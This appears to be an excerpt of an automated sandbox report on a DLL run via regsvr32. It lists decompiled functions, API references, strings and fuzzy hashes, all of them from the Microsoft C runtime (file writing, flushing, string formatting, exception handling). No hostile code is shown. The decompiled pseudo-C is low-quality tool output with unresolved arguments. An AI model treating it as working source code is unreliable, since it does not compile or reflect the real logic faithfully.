__doserrno.LIBCMTD ref: 000007FEF9D396F6
_invalid_parameter.LIBCMTD ref: 000007FEF9D39730

Strings

(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D396C1, 000007FEF9D39729
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D396D6, 000007FEF9D3971B
_write, xrefs: 000007FEF9D39722

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-23161695
Opcode ID: 943f3f5a8649ad99659fc24fe5f00fa9245fa7ab2d20795fce64249369f79773
Instruction ID: f549bc85806da522572ee7890384280d6aac56d4f037a7782e26525923b50f93
Opcode Fuzzy Hash: 943f3f5a8649ad99659fc24fe5f00fa9245fa7ab2d20795fce64249369f79773
Instruction Fuzzy Hash: A2112A71A29606CAF7D0AB14ED5476E72E1F3507C9FA09125E2CD026E4D77EE504CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39939 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39998
_invalid_parameter.LIBCMTD ref: 000007FEF9D399D2

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39978, 000007FEF9D399BD
_write_nolock, xrefs: 000007FEF9D399C4
(buf != NULL), xrefs: 000007FEF9D39963, 000007FEF9D399CB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (buf != NULL)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-3042049227
Opcode ID: b18c78e6a001b3924330ee466a7aa5e58f01f9920a26db0e17f8c8ea79e16f29
Instruction ID: 08953b95d21c5f70e3699fefb321eca4419d040150facc41ebc10b04699de718
Opcode Fuzzy Hash: b18c78e6a001b3924330ee466a7aa5e58f01f9920a26db0e17f8c8ea79e16f29
Instruction Fuzzy Hash: F8115731E0C646DAF7A4AF24EC117AE73D0F780398FA0912692CC026E5DB7EE644CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3976D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D397C3
_invalid_parameter.LIBCMTD ref: 000007FEF9D397FD

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D397A3, 000007FEF9D397E8
_write, xrefs: 000007FEF9D397EF
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3978E, 000007FEF9D397F6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-1338331675
Opcode ID: f80fd563d90780f0aa1c670857feec0e10d9ec583905498dafbcab80ebad431c
Instruction ID: 8bdd68c2d8658697f17e3158693f35fff5fb9c26cbdf8bf42c76b87004d789dc
Opcode Fuzzy Hash: f80fd563d90780f0aa1c670857feec0e10d9ec583905498dafbcab80ebad431c
Instruction Fuzzy Hash: F0014CB1A18646C6FB90AB24EC4076D36E0F350358FB04125E28D036F5C7BED544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39A9B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 17COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39A9B
_invalid_parameter.LIBCMTD ref: 000007FEF9D39AD5

Part of subcall function 000007FEF9D2BD70: DecodePointer.KERNEL32 ref: 000007FEF9D2BD99

Strings

((cnt & 1) == 0), xrefs: 000007FEF9D39ACE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39AC0
_write_nolock, xrefs: 000007FEF9D39AC7

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer__doserrno_invalid_parameter
String ID: ((cnt & 1) == 0)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 1098298932-1795423647
Opcode ID: 76c1c365018f90ed7cb3e44e1db6073c5157a9fa4c515fc26b073f11152878b0
Instruction ID: 5ff663975ae3511ed6d2782a661d896beba523f0d1828ccbc0613956f22d1229
Opcode Fuzzy Hash: 76c1c365018f90ed7cb3e44e1db6073c5157a9fa4c515fc26b073f11152878b0
Instruction Fuzzy Hash: CBE03960A0890696F6D4AF14EC113EE2290A740788FE14222908D072F2CB7EA605C741

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F570 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E000007FE7FEF9D2F570(intOrPtr __edx, long long __rcx, void* __rdx, long long __r8, void* _a8, intOrPtr _a16, long long _a24, intOrPtr _a32, void* _a40, intOrPtr _a48, intOrPtr _a64) {
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				signed int _v48;
				int _v52;
				int _v56;
				signed int _v64;
				long long _v72;
				long long _t82;

				_a32 = r9d;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_v56 = 0;
				if (_a48 != 0) goto 0xf9d2f5ab;
				_a48 =  *((intOrPtr*)( *_a8 + 4));
				if (_a64 == 0) goto 0xf9d2f5bf;
				_v32 = 9;
				goto 0xf9d2f5c7;
				_v32 = 1;
				_v64 = 0;
				_v72 = 0;
				r9d = _a32;
				_v48 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v48 != 0) goto 0xf9d2f60b;
				goto 0xf9d2f6f8;
				if (0 != 0) goto 0xf9d2f652;
				if (_v48 <= 0) goto 0xf9d2f652;
				if (_v48 - 0xfffffff0 > 0) goto 0xf9d2f652;
				_t82 = _v48 + _v48 + 0x10;
				E000007FE7FEF9D2F3B0(malloc(??), 0xdddd, _t82);
				_v24 = _t82;
				goto 0xf9d2f65b;
				_v24 = 0;
				_v40 = _v24;
				if (_v40 != 0) goto 0xf9d2f674;
				goto 0xf9d2f6f8;
				E000007FE7FEF9D232B0(0, _a48, 0, _v40, __rdx, _v48 << 1);
				_v64 = _v48;
				_v72 = _v40;
				r9d = _a32;
				_v52 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v52 == 0) goto 0xf9d2f6ea;
				r8d = _v52;
				_v56 = GetStringTypeW(??, ??, ??, ??);
				E000007FE7FEF9D2F3E0(_v40);
				return _v56;
			}

0x7fef9d2f570
0x7fef9d2f575
0x7fef9d2f57a
0x7fef9d2f57e
0x7fef9d2f587
0x7fef9d2f597
0x7fef9d2f5a4
0x7fef9d2f5b3
0x7fef9d2f5b5
0x7fef9d2f5bd
0x7fef9d2f5bf
0x7fef9d2f5c7
0x7fef9d2f5cf
0x7fef9d2f5d8
0x7fef9d2f5f9
0x7fef9d2f602
0x7fef9d2f606
0x7fef9d2f60f
0x7fef9d2f616
0x7fef9d2f62a
0x7fef9d2f631
0x7fef9d2f646
0x7fef9d2f64b
0x7fef9d2f650
0x7fef9d2f652
0x7fef9d2f660
0x7fef9d2f66b
0x7fef9d2f66f
0x7fef9d2f686
0x7fef9d2f68f
0x7fef9d2f698
0x7fef9d2f69d
0x7fef9d2f6bf
0x7fef9d2f6c8
0x7fef9d2f6d2
0x7fef9d2f6e6
0x7fef9d2f6ef
0x7fef9d2f6fc

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F5F3
malloc.LIBCMTD ref: 000007FEF9D2F639
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F646
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F6B9
GetStringTypeW.KERNEL32 ref: 000007FEF9D2F6E0

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringTypemalloc
String ID:
API String ID: 2618398691-0
Opcode ID: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction ID: 79d90a16a348acae5d1e8c33d658c717d72e619f6ed261e78ac23a31a9732c13
Opcode Fuzzy Hash: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction Fuzzy Hash: 9941E7726187818AD7A08B19E48476EB7E0F385795F204525EADE43BB8DB7ED484CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3FF00 Relevance: 7.6, APIs: 5, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3FF00(intOrPtr __ecx, intOrPtr _a8) {
				signed int _v16;
				signed int _v20;
				signed int _v24;

				_a8 = __ecx;
				_v24 = 0;
				_v16 = 0;
				0xf9d29300();
				_v20 = 0;
				_v20 = _v20 + 1;
				if (_v20 -  *0xf9d4e520 >= 0) goto 0xf9d40042;
				if ( *((long long*)( *0xf9d4d500 + _v20 * 8)) == 0) goto 0xf9d4003d;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d4003d;
				E000007FE7FEF9D3AE90(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d40024;
				if (_a8 != 1) goto 0xf9d3ffe1;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) == 0xffffffff) goto 0xf9d3ffdf;
				_v24 = _v24 + 1;
				goto 0xf9d40024;
				if (_a8 != 0) goto 0xf9d40024;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000002) == 0) goto 0xf9d40024;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) != 0xffffffff) goto 0xf9d40024;
				_v16 = 0xffffffff;
				E000007FE7FEF9D3AF60(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				goto L1;
				__ecx = 1;
				__eax = E000007FE7FEF9D29360(__eax, 1);
				if (_a8 != 1) goto 0xf9d4005b;
				__eax = _v24;
				goto 0xf9d4005f;
				__eax = _v16;
				return _v16;
			}

0x7fef9d3ff00
0x7fef9d3ff08
0x7fef9d3ff10
0x7fef9d3ff1d
0x7fef9d3ff23
0x7fef9d3ff33
0x7fef9d3ff41
0x7fef9d3ff58
0x7fef9d3ff78
0x7fef9d3ff92
0x7fef9d3ffb2
0x7fef9d3ffb9
0x7fef9d3ffd3
0x7fef9d3ffdb
0x7fef9d3ffdf
0x7fef9d3ffe6
0x7fef9d40000
0x7fef9d4001a
0x7fef9d4001c
0x7fef9d40038
0x7fef9d4003d
0x7fef9d40042
0x7fef9d40047
0x7fef9d40051
0x7fef9d40053
0x7fef9d40059
0x7fef9d4005b
0x7fef9d40063

APIs

_lock_file2.LIBCMTD ref: 000007FEF9D3FF92
_fflush_nolock.LIBCMTD ref: 000007FEF9D3FFCB
_fflush_nolock.LIBCMTD ref: 000007FEF9D40012
_unlock_file2.LIBCMTD ref: 000007FEF9D40038
_unlock.LIBCMTD ref: 000007FEF9D40047

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _fflush_nolock$_lock_file2_unlock_unlock_file2
String ID:
API String ID: 1144694634-0
Opcode ID: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction ID: ac60367dbbc332a4a9212cb966813f3525e1d277dda9a6ba7eb8e741a9ed9bf6
Opcode Fuzzy Hash: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction Fuzzy Hash: D441F136A08905C5EB70CB1DE98173D73E0F799B49F204225EA9D877B4CB3EE945CA01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33CC0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D33CC0(void* __edx, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				long long _v16;
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				long long _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v64;
				long long _v72;
				char _v80;
				long long _v88;
				void* _t135;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				signed int* _t200;
				intOrPtr _t206;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				0xf9d24000();
				if ( *((intOrPtr*)(__rax + 0x2c0)) != 0) goto 0xf9d33d6c;
				if ( *_a8 == 0xe06d7363) goto 0xf9d33d6c;
				if ( *_a8 != 0x80000029) goto 0xf9d33d2a;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 0xf) goto 0xf9d33d2a;
				if ( *((long long*)(_a8 + 0x60)) == 0x19930520) goto 0xf9d33d6c;
				if ( *_a8 == 0x80000026) goto 0xf9d33d6c;
				if (( *_a40 & 0x1fffffff) - 0x19930522 < 0) goto 0xf9d33d6c;
				if ((_a40[9] & 0x00000001) == 0) goto 0xf9d33d6c;
				goto 0xf9d3409c;
				if (( *(_a8 + 4) & 0x00000066) == 0) goto 0xf9d33ef3;
				if (_a40[1] == 0) goto 0xf9d33ee4;
				if (_a48 != 0) goto 0xf9d33ee4;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33e40;
				if ( *_a8 != 0x80000026) goto 0xf9d33e40;
				_v56 = E000007FE7FEF9D33A60(_a24, _a40, _a32,  *((intOrPtr*)(_a24 + 0xf8)));
				if (_v56 - 0xffffffff < 0) goto 0xf9d33e0a;
				if (_v56 - _a40[1] >= 0) goto 0xf9d33e0a;
				goto 0xf9d33e0f;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v56;
				E000007FE7FEF9D34F20(_a40, _a16, _a32, _a40);
				goto 0xf9d33ec7;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33ec7;
				if ( *_a8 != 0x80000029) goto 0xf9d33ec7;
				_v48 = _a8;
				_v52 =  *((intOrPtr*)(_v48 + 0x38));
				if (_v52 - 0xffffffff < 0) goto 0xf9d33e95;
				if (_v52 - _a40[1] >= 0) goto 0xf9d33e95;
				goto 0xf9d33e9a;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v52;
				E000007FE7FEF9D34F20(_v48,  *((intOrPtr*)(_v48 + 0x28)), _a32, _a40);
				goto 0xf9d3409c;
				E000007FE7FEF9D2E790(_v52 - _a40[1], _v48, _a16, _a32, _a40);
				goto 0xf9d34097;
				if (_a40[3] != 0) goto 0xf9d33f59;
				if (( *_a40 & 0x1fffffff) - 0x19930521 < 0) goto 0xf9d34097;
				_t200 = _a40;
				if ( *((intOrPtr*)(_t200 + 0x20)) == 0) goto 0xf9d33f44;
				_t135 = E000007FE7FEF9D2E680( *_a40 & 0x1fffffff, _t200);
				_v24 = _t200 + _a40[8];
				goto 0xf9d33f4d;
				_v24 = 0;
				if (_v24 == 0) goto 0xf9d34097;
				if ( *_a8 != 0xe06d7363) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x18)) - 3 < 0) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x20)) - 0x19930522 <= 0) goto 0xf9d34041;
				_t206 =  *((intOrPtr*)(_a8 + 0x30));
				if ( *((intOrPtr*)(_t206 + 8)) == 0) goto 0xf9d33fc5;
				E000007FE7FEF9D2E6A0(_t135, _t206);
				_v16 = _t206 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 8));
				goto 0xf9d33fce;
				_v16 = 0;
				_v40 = _v16;
				_t177 = _v40;
				if (_v40 == 0) goto 0xf9d34041;
				_v64 = _a64 & 0x000000ff;
				_v72 = _a56;
				_v80 = _a48;
				_v88 = _a40;
				_v32 = _v40();
				goto 0xf9d34097;
				_v64 = _a56;
				_v72 = _a48;
				_v80 = _a64 & 0x000000ff;
				_v88 = _a40;
				E000007FE7FEF9D340B0(_t145, _t147, _t148, _t149, _t177, _a40, _a8, _a16, _a24, _a32);
				return 1;
			}

0x7fef9d33cc0
0x7fef9d33cc5
0x7fef9d33cca
0x7fef9d33ccf
0x7fef9d33cd8
0x7fef9d33ce4
0x7fef9d33cf8
0x7fef9d33d08
0x7fef9d33d16
0x7fef9d33d28
0x7fef9d33d38
0x7fef9d33d4e
0x7fef9d33d60
0x7fef9d33d67
0x7fef9d33d7c
0x7fef9d33d8e
0x7fef9d33d9c
0x7fef9d33db2
0x7fef9d33dc6
0x7fef9d33dec
0x7fef9d33df5
0x7fef9d33e06
0x7fef9d33e08
0x7fef9d33e0a
0x7fef9d33e0f
0x7fef9d33e2c
0x7fef9d33e3b
0x7fef9d33e50
0x7fef9d33e60
0x7fef9d33e6a
0x7fef9d33e77
0x7fef9d33e80
0x7fef9d33e91
0x7fef9d33e93
0x7fef9d33e95
0x7fef9d33e9a
0x7fef9d33eb8
0x7fef9d33ec2
0x7fef9d33edf
0x7fef9d33eee
0x7fef9d33eff
0x7fef9d33f15
0x7fef9d33f1b
0x7fef9d33f27
0x7fef9d33f29
0x7fef9d33f3d
0x7fef9d33f42
0x7fef9d33f44
0x7fef9d33f53
0x7fef9d33f67
0x7fef9d33f79
0x7fef9d33f8e
0x7fef9d33f9c
0x7fef9d33fa4
0x7fef9d33fa6
0x7fef9d33fbe
0x7fef9d33fc3
0x7fef9d33fc5
0x7fef9d33fd3
0x7fef9d33fd8
0x7fef9d33fde
0x7fef9d33fe8
0x7fef9d33ff4
0x7fef9d34000
0x7fef9d3400c
0x7fef9d34035
0x7fef9d3403f
0x7fef9d34049
0x7fef9d34055
0x7fef9d34061
0x7fef9d3406d
0x7fef9d34092
0x7fef9d340a0

APIs

_inconsistency.LIBCMTD ref: 000007FEF9D33E0A

Strings

csm, xrefs: 000007FEF9D33F61
csm, xrefs: 000007FEF9D33CF2

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _inconsistency
String ID: csm$csm
API String ID: 32975420-3733052814
Opcode ID: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction ID: 322b6d8969e66d64c69545eab8578d1d9fa1a0c6b52bdd8827c0b0ea251a3b55
Opcode Fuzzy Hash: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction Fuzzy Hash: 12A1EE3660CBC5C6D7B08B15E5447AEB7A0F385B95FA04126EACD87BA9CB3DD844CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29640 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMTD ref: 000007FEF9D296DF
__free_lconv_num.LIBCMTD ref: 000007FEF9D29726

Strings

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca, xrefs: 000007FEF9D2991D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c, xrefs: 000007FEF9D29932

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __free_lconv_mon__free_lconv_num
String ID: ((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c
API String ID: 2148069796-2706031433
Opcode ID: 5530c5148454f32ed92c453347a6e128a1bc42f7b71ac9e6bc1d50a4750a2989
Instruction ID: 7353ab124090f0710997c18079ef38eae00693e27689a0bfa21a481d68f00224
Opcode Fuzzy Hash: 5530c5148454f32ed92c453347a6e128a1bc42f7b71ac9e6bc1d50a4750a2989
Instruction Fuzzy Hash: F4A10E36A18A8581EB908F49E4853BEA3E0F3C4B54F665036EA8E477B5CFBED445C740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32772 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 1aafbfe16f86ccf21253850ca152cd04a8ee8357f57b5e583563c43112fb4b7a
Instruction ID: b28b411edc77ea5f57a42c4ce070c51137fe1cd7001121a3be123fc4e483bd38
Opcode Fuzzy Hash: 1aafbfe16f86ccf21253850ca152cd04a8ee8357f57b5e583563c43112fb4b7a
Instruction Fuzzy Hash: FC810D32A1DB8686DAB08B29E84476E73E0F385765F204225E6ED437E9DF3DD445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C719 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3C719(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t212;
				signed char _t217;
				intOrPtr _t252;
				signed int _t327;
				signed int _t328;
				signed long long _t331;
				intOrPtr* _t354;
				signed long long _t379;

				_t327 = __rax;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t328 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t331 = _a824;
				_a832 = _t331;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t331;
				if (_a116 >= 0) goto 0xf9d3c8d8;
